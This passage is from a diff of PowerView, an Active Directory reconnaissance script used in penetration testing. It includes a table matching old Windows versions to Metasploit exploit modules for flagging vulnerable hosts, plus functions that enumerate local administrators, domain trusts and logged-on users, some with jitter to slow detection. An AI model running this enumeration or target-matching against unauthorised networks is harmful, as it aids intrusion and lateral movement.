Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - - # Status user - Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..." - - # ---------------------------------------------------------------- - # Setup data table to store vulnerable systems - # ---------------------------------------------------------------- - - # Create data table to house vulnerable server list - $TableVulnComputers = New-Object System.Data.DataTable - $Null = $TableVulnComputers.Columns.Add('ComputerName') - $Null = $TableVulnComputers.Columns.Add('OperatingSystem') - $Null = $TableVulnComputers.Columns.Add('ServicePack') - $Null = $TableVulnComputers.Columns.Add('LastLogon') - $Null = $TableVulnComputers.Columns.Add('MsfModule') - $Null = $TableVulnComputers.Columns.Add('CVE') - - # Iterate through each exploit - $TableExploits | ForEach-Object { - - $ExploitOS = $_.OperatingSystem - $ExploitSP = $_.ServicePack - $ExploitMsf = $_.MsfModule - $ExploitCVE = $_.CVE - - # Iterate through each ADS computer - $TableAdsComputers | ForEach-Object { - - $AdsHostname = $_.Hostname - $AdsOS = $_.OperatingSystem - $AdsSP = $_.ServicePack - $AdsLast = $_.LastLogon - - # Add exploitable systems to vul computers data table - if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) { - # Add domain computer to data table - $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE) - } - } - } - - # Display results - $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object - $VulnComputerCount = $VulnComputer.Count - - if ($VulnComputer.Count -gt 0) { - # Return vulnerable server list order with some hack date casting - Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!" - $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending - } - else { - Write-Verbose "[-] No vulnerable systems were found." - } -} - - -function Invoke-EnumerateLocalAdmin { -<# - .SYNOPSIS - - This function queries the domain for all active machines with - Get-NetComputer, then for each server it queries the local - Administrators with Get-NetLocalGroup. - - Author: @harmj0y - License: BSD 3-Clause - - .PARAMETER ComputerName - - Host array to enumerate, passable on the pipeline. - - .PARAMETER ComputerFile - - File of hostnames/IPs to search. - - .PARAMETER ComputerFilter - - Host filter name to query AD for, wildcards accepted. - - .PARAMETER ComputerADSpath - - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER NoPing - - Switch. Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Delay - - Delay between enumerating hosts, defaults to 0 - - .PARAMETER Jitter - - Jitter for the host delay, defaults to +/- 0.3 - - .PARAMETER OutFile - - Output results to a specified csv output file. - - .PARAMETER NoClobber - - Switch. Don't overwrite any existing output file. - - .PARAMETER TrustGroups - - Switch. Only return results that are not part of the local machine - or the machine's domain. Old Invoke-EnumerateLocalTrustGroup - functionality. - - .PARAMETER DomainOnly - - Switch. Only return domain (non-local) results - - .PARAMETER Domain - - Domain to query for machines, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER SearchForest - - Switch. Search all domains in the forest for target users instead of just - a single domain. - - .PARAMETER API - - Switch. Use API calls instead of the WinNT service provider. Less information, - but the results are faster. - - .PARAMETER Threads - - The maximum concurrent threads to execute. - - .EXAMPLE - - PS C:\> Invoke-EnumerateLocalAdmin - - Enumerates the members of local administrators for all machines - in the current domain. - - .EXAMPLE - - PS C:\> Invoke-EnumerateLocalAdmin -Threads 10 - - Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded - - .LINK - - http://blog.harmj0y.net/ -#> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] - [String[]] - $ComputerName, - - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, - - [String] - $ComputerFilter, - - [String] - $ComputerADSpath, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [Double] - $Jitter = .3, - - [String] - $OutFile, - - [Switch] - $NoClobber, - - [Switch] - $TrustGroups, - - [Switch] - $DomainOnly, - - [String] - $Domain, - - [String] - $DomainController, - - [Switch] - $SearchForest, - - [ValidateRange(1,100)] - [Int] - $Threads, - - [Switch] - $API - ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # random object for delay - $RandNo = New-Object System.Random - - Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay" - - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - - if(!$ComputerName) { - [array]$ComputerName = @() - - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } - } - - # delete any existing output file if it already exists - if(!$NoClobber) { - if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } - } - - if($TrustGroups) { - - Write-Verbose "Determining domain trust groups" - - # find all group names that have one or more users in another domain - $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique - - $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object { - # ignore the builtin administrators group for a DC (S-1-5-32-544) - # TODO: ignore all default built in sids? - Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $_.objectsid } - } - - # query for the primary domain controller so we can extract the domain SID for filtering - $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController - } - - # script block that enumerates a server - $HostEnumBlock = { - param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) - - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # grab the users for the local admins on this server - if($API) { - $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API - } - else { - $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName - } - - # if we just want to return cross-trust users - if($DomainSID) { - # get the local machine SID - $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" - Write-Verbose "LocalSid for $ComputerName : $LocalSID" - # filter out accounts that begin with the machine SID and domain SID - # but preserve any groups that have users across a trust ($TrustGroupSIDS) - $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } - } - - if($DomainOnly) { - $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain} - } - - if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { - # output the results to a csv if specified - if($OutFile) { - $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile - } - else { - # otherwise return the user objects - $LocalAdmins - } - } - else { - Write-Verbose "[!] No users returned from $ComputerName" - } - } - } - } - - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'OutFile' = $OutFile - 'DomainSID' = $DomainSID - 'TrustGroupsSIDs' = $TrustGroupsSIDs - } - - # kick off the threaded script block + arguments - if($API) { - $ScriptParams['API'] = $True - } - - if($DomainOnly) { - $ScriptParams['DomainOnly'] = $True - } - - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } - - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 - - ForEach ($Computer in $ComputerName) { - - $Counter = $Counter + 1 - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - - $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) - - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs - } - } - } -} - - -######################################################## -# -# Domain trust functions below. -# -######################################################## - -function Get-NetDomainTrust { -<# - .SYNOPSIS - - Return all domain trusts for the current domain or - a specified domain. - - .PARAMETER Domain - - The domain whose trusts to enumerate, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ADSpath - - The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local". - Useful for global catalog queries ;) - - .PARAMETER API - - Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts. - - .PARAMETER LDAP - - Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - More likely to get around network segmentation, but not as accurate. - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .EXAMPLE - - PS C:\> Get-NetDomainTrust - - Return domain trusts for the current domain using built in .NET methods. - - .EXAMPLE - - PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" - - Return domain trusts for the "prod.testlab.local" domain using .NET methods - - .EXAMPLE - - PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" - - Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP - queries, reflecting queries through the "Primary.testlab.local" domain controller, - using .NET methods. - - .EXAMPLE - - PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local" - - Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. - - .EXAMPLE - - PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local - - Return domain trusts reachable from the WINDOWS2 machine through API calls. -#> - - [CmdletBinding()] - param( - [Parameter(Position=0, ValueFromPipeline=$True)] - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, - - [Switch] - $API, - - [Switch] - $LDAP, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - begin { - $TrustAttributes = @{ - [uint32]'0x00000001' = 'non_transitive' - [uint32]'0x00000002' = 'uplevel_only' - [uint32]'0x00000004' = 'quarantined_domain' - [uint32]'0x00000008' = 'forest_transitive' - [uint32]'0x00000010' = 'cross_organization' - [uint32]'0x00000020' = 'within_forest' - [uint32]'0x00000040' = 'treat_as_external' - [uint32]'0x00000080' = 'trust_uses_rc4_encryption' - [uint32]'0x00000100' = 'trust_uses_aes_keys' - [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation' - [uint32]'0x00000400' = 'pim_trust' - } - } - - process { - - if(-not $Domain) { - # if not domain is specified grab the current domain - $SourceDomain = (Get-NetDomain -Credential $Credential).Name - } - else { - $SourceDomain = $Domain - } - - if($LDAP -or $ADSPath) { - - $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath - - $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController - - if($TrustSearcher) { - - $TrustSearcher.Filter = '(objectClass=trustedDomain)' - - $Results = $TrustSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Props = $_.Properties - $DomainTrust = New-Object PSObject - - $TrustAttrib = @() - $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } - - $Direction = Switch ($Props.trustdirection) { - 0 { 'Disabled' } - 1 { 'Inbound' } - 2 { 'Outbound' } - 3 { 'Bidirectional' } - } - $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) - $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value - $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain - $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID - $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] - $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID - $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" - $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',') - $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" - $DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP') - $DomainTrust - } - $Results.dispose() - $TrustSearcher.dispose() - } - } - elseif($API) { - if(-not $DomainController) { - $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name - } - - if($DomainController) { - # arguments for DsEnumerateDomainTrusts - $PtrInfo = [IntPtr]::Zero - - # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND - $Flags = 63 - $DomainCount = 0 - - # get the trust information from the target server - $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount) - - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() - - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $DS_DOMAIN_TRUSTS::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $DomainCount); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS - - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - - $SidString = "" - $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - - if($Result -eq 0) { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" - } - else { - $DomainTrust = New-Object PSObject - $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain - $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController - $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName - $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName - $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags - $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex - $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType - $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes - $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString - $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid - $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust') - $DomainTrust - } - } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" - } - } - else { - Write-Verbose "Could not retrieve domain controller for $Domain" - } - } - else { - # if we're using direct domain connections through .NET - $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential - if($FoundDomain) { - $FoundDomain.GetAllTrustRelationships() | ForEach-Object { - $_.PSObject.TypeNames.Add('PowerView.DomainTrust') - $_ - } - } - } - } -} - - -function Get-NetForestTrust { -<# - .SYNOPSIS - - Return all trusts for the current forest. - - .PARAMETER Forest - - Return trusts for the specified forest. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-NetForestTrust - - Return current forest trusts. - - .EXAMPLE - - PS C:\> Get-NetForestTrust -Forest "test" - - Return trusts for the "test" forest. -#> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [String] - $Forest, - - [Management.Automation.PSCredential] - $Credential - ) - - process { - $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential - - if($FoundForest) { - $FoundForest.GetAllTrustRelationships() | ForEach-Object { - $_.PSObject.TypeNames.Add('PowerView.ForestTrust') - $_ - } - } - } -} - - -function Find-ForeignUser { -<# - .SYNOPSIS - - Enumerates users who are in groups outside of their - principal domain. The -Recurse option will try to map all - transitive domain trust relationships and enumerate all - users who are in groups outside of their principal domain. + [Parameter(ParameterSetName = 'WinNT')] + [Parameter(ParameterSetName = 'API')] + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, - .PARAMETER UserName + [Parameter(ParameterSetName = 'WinNT')] + [Parameter(ParameterSetName = 'API')] + [String] + $GroupName = 'Administrators', - Username to filter results for, wildcards accepted. + [Parameter(ParameterSetName = 'API')] + [Switch] + $API, - .PARAMETER Domain + [Switch] + $IsDomain, - Domain to query for users, defaults to the current domain. + [ValidateNotNullOrEmpty()] + [String] + $DomainSID + ) - .PARAMETER DomainController + process { - Domain controller to reflect LDAP queries through. + $Servers = @() - .PARAMETER LDAP + # if we have a host list passed, grab it + if($ComputerFile) { + $Servers = Get-Content -Path $ComputerFile + } + else { + # otherwise assume a single host name + $Servers += $ComputerName | Get-NameField + } - Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - More likely to get around network segmentation, but not as accurate. + # query the specified group using the WINNT provider, and + # extract fields as appropriate from the results + ForEach($Server in $Servers) { - .PARAMETER Recurse + if($API) { + # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information - Switch. Enumerate all user trust groups from all reachable domains recursively. + # arguments for NetLocalGroupGetMembers + $QueryLevel = 2 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - .PARAMETER PageSize + # get the local user information + $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - The PageSize to set for the LDAP searcher object. + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - .LINK + $LocalUsers = @() - http://blog.harmj0y.net/ -#> + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - [CmdletBinding()] - param( - [String] - $UserName, + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() - [String] - $Domain, + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 - [String] - $DomainController, + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment - [Switch] - $LDAP, + $SidString = '' + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - [Switch] - $Recurse, + if($Result2 -eq 0) { + # error? + } + else { + $IsGroup = $($Info.lgrmi2_sidusage -ne 'SidTypeUser') + $LocalUsers += @{ + 'ComputerName' = $Server + 'AccountName' = $Info.lgrmi2_domainandname + 'SID' = $SidString + 'IsGroup' = $IsGroup + 'Type' = 'LocalUser' + } + } + } - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) - function Get-ForeignUser { - # helper used to enumerate users who are in groups outside of their principal domain - param( - [String] - $UserName, + $MachineSid = ($LocalUsers | Where-Object {$_['SID'] -like '*-500'})['SID'] + $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-')) + try { + ForEach($LocalUser in $LocalUsers) { + if($DomainSID -and ($LocalUser['SID'] -match $DomainSID)) { + $LocalUser['IsDomain'] = $True + } + elseif($LocalUser['SID'] -match $MachineSid) { + $LocalUser['IsDomain'] = $False + } + else { + $LocalUser['IsDomain'] = $True + } + if($IsDomain) { + if($LocalUser['IsDomain']) { + $LocalUser + } + } + else { + $LocalUser + } + } + } + catch { } + } + else { + # error + } + } - [String] - $Domain, + else { + # otherwise we're using the WinNT service provider + try { + $LocalUsers = @() + $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) - [String] - $DomainController, + $Members | ForEach-Object { + $LocalUser = ([ADSI]$_) - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) + $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') - if ($Domain) { - # get the domain name into distinguished form - $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC=' - } - else { - $DistinguishedDomainName = [String] ([adsi]'').distinguishedname - $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.' - } + if(([regex]::Matches($AdsPath, '/')).count -eq 1) { + # DOMAIN\user + $MemberIsDomain = $True + $Name = $AdsPath.Replace('/', '\') + } + else { + # DOMAIN\machine\user + $MemberIsDomain = $False + $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') + } - Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object { - ForEach ($Membership in $_.memberof) { - $Index = $Membership.IndexOf("DC=") - if($Index) { - - $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.' - - if ($GroupDomain.CompareTo($Domain)) { - # if the group domain doesn't match the user domain, output - $GroupName = $Membership.split(",")[0].split("=")[1] - $ForeignUser = New-Object PSObject - $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain - $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname - $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain - $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName - $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership - $ForeignUser + $IsGroup = ($LocalUser.SchemaClassName -like 'group') + if($IsDomain) { + if($MemberIsDomain) { + $LocalUsers += @{ + 'ComputerName' = $Server + 'AccountName' = $Name + 'SID' = ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + 'IsGroup' = $IsGroup + 'IsDomain' = $MemberIsDomain + 'Type' = 'LocalUser' + } + } + } + else { + $LocalUsers += @{ + 'ComputerName' = $Server + 'AccountName' = $Name + 'SID' = ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + 'IsGroup' = $IsGroup + 'IsDomain' = $MemberIsDomain + 'Type' = 'LocalUser' + } + } } + $LocalUsers + } + catch { + Write-Verbose "Get-NetLocalGroup error for $Server : $_" } } } } - - if ($Recurse) { - # get all rechable domains in the trust mesh and uniquify them - if($LDAP -or $DomainController) { - $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique - } - else { - $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique - } - - ForEach($DomainTrust in $DomainTrusts) { - # get the trust groups for each domain in the trust mesh - Write-Verbose "Enumerating trust groups in domain $DomainTrust" - Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize - } - } - else { - Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize - } } -function Find-ForeignGroup { +filter Get-NetLoggedon { <# .SYNOPSIS - Enumerates all the members of a given domain's groups - and finds users that are not in the queried domain. - The -Recurse flag will perform this enumeration for all - eachable domain trusts. + This function will execute the NetWkstaUserEnum Win32API call to query + a given host for actively logged on users. - .PARAMETER GroupName + .PARAMETER ComputerName - Groupname to filter results for, wildcards accepted. + The hostname to query for logged on users. - .PARAMETER Domain + .OUTPUTS - Domain to query for groups, defaults to the current domain. + WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 + result structure which includes the username and domain of logged on users, + with the ComputerName added. - .PARAMETER DomainController + .EXAMPLE - Domain controller to reflect LDAP queries through. + PS C:\> Get-NetLoggedon - .PARAMETER LDAP + Returns users actively logged onto the local host. - Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - More likely to get around network segmentation, but not as accurate. + .EXAMPLE - .PARAMETER Recurse + PS C:\> Get-NetLoggedon -ComputerName sqlserver - Switch. Enumerate all group trust users from all reachable domains recursively. + Returns users actively logged onto the 'sqlserver' host. - .PARAMETER PageSize + .EXAMPLE - The PageSize to set for the LDAP searcher object. + PS C:\> Get-NetComputer | Get-NetLoggedon + + Returns all logged on userse for all computers in the domain. .LINK - http://blog.harmj0y.net/ + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [CmdletBinding()] param( - [String] - $GroupName = '*', - - [String] - $Domain, - - [String] - $DomainController, + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost' + ) - [Switch] - $LDAP, + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - [Switch] - $Recurse, + # Declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - function Get-ForeignGroup { - param( - [String] - $GroupName = '*', + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - [String] - $Domain, + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - [String] - $DomainController, + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 - if(-not $Domain) { - $Domain = (Get-NetDomain).Name + # return all the sections of the structure + $LoggedOn = $Info | Select-Object * + $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + 